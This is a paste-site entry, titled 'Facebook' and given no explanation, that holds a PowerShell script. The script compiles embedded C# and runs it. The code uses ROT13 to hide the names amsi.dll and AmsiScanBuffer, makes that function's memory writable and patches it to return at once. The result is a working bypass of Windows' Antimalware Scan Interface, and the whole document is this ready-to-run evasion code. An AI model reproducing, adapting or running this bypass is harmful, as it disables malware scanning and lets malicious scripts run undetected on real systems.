Facebook
From sfsafd, 1 Month ago, written in Plain Text.
Embed
Download Paste or View Raw
Hits: 159
  1. $code = @"
  2. using System;
  3. using System.Diagnostics;
  4. using System.Runtime.InteropServices;
  5.  
  6. namespace Mag {
  7.     public class Program {        
  8.         static byte[] patch = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00 };
  9.         static IntPtr addr = GetFunctionAddr(Transform("nzfv.qyy"), Transform("NzfvFpnaOhssre"));
  10.         public static void Main(string[] args) {
  11.             uint oldProtect = 0;
  12.             VirtualProtect(addr, (IntPtr)patch.Length, 0x40, ref oldProtect);
  13.             Marshal.Copy(patch, 0, (IntPtr)addr, patch.Length);
  14.  
  15.         }
  16.         static IntPtr GetFunctionAddr(string module, string function) {
  17.             LoadLibrary(module);
  18.             var modules = Process.GetCurrentProcess().Modules;
  19.             var hMod = IntPtr.Zero;
  20.  
  21.             foreach (ProcessModule pModule in modules) {
  22.                 if (pModule.ModuleName.ToLower().Equals(module.ToLower())) {
  23.                     hMod = pModule.BaseAddress;
  24.                     break;
  25.                 }
  26.             }
  27.             var FunctionAddr = GetProcAddress(hMod, function);
  28.             return FunctionAddr;
  29.  
  30.         }
  31.         public static string Transform(string value) {
  32.             char[] array = value.ToCharArray();
  33.             for (int i = 0; i < array.Length; i++) {
  34.                 int number = (int)array[i];
  35.  
  36.                 if (number >= 'a' && number <= 'z') {
  37.                     if (number > 'm') {
  38.                         number -= 13;
  39.                     }
  40.                     else {
  41.                         number += 13;
  42.                     }
  43.                 }
  44.                 else if (number >= 'A' && number <= 'Z') {
  45.                     if (number > 'M') {
  46.                         number -= 13;
  47.                     }
  48.                     else {
  49.                         number += 13;
  50.                     }
  51.                 }
  52.                 array[i] = (char)number;
  53.             }
  54.             return new string(array);
  55.         }
  56.         [DllImport("kernel32", SetLastError = true, CharSet = CharSet.Ansi)]
  57.         static extern IntPtr LoadLibrary([MarshalAs(UnmanagedType.LPStr)] string lpFileName);
  58.         [DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
  59.         static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
  60.         [DllImport("kernel32.dll")]
  61.         static extern bool VirtualProtect(IntPtr intptr_0, IntPtr intptr_1, uint uint_0, ref uint uint_1);
  62.     }
  63. }
  64. "@
  65. Add-Type -TypeDefinition $code -Language CSharp
  66. iex "[Mag.Program]::Main('')"
  67.